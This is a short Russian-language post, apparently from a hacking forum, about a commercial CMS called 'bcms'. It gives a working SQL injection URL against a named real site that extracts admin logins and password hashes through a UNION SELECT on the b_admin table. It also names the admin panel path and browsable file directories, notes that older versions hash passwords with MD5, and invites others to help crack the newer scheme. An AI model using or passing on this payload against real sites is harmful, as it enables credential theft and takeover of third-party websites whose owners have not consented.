bcms, быстро cms
офф сайт: http://www.bistro-site.ru/
их хостинг: http://www.bistro-host.ru/
вообще это вебдизовая студия, но у них свой платный двиг.
На большинстве сайтов на странице с новостями.
MySQL inj
Код:
http://www.linefirm.ru/news/text?newsid=-6+union+select+1,concat_ws(0x3a,login,password),3,4,5,6,7+from+b_admin--
админка: /badmin
Имеется cpanel у сайтов на их хостинге.
Зайдя в диры, можно посмотреть содержимое папок у большинства сайтов(в приведённом мною так не попасть):
/bfiles, /bsystem
в /bfiles складируются любые файлы через админку, но на некоторых сайтах стоят права ток на чтение из этой папки.
на старых версиях двига юзается md5 для хэша, на новых - так и не подобрал(хорошо бы, если и мне скажете, если подберёте)).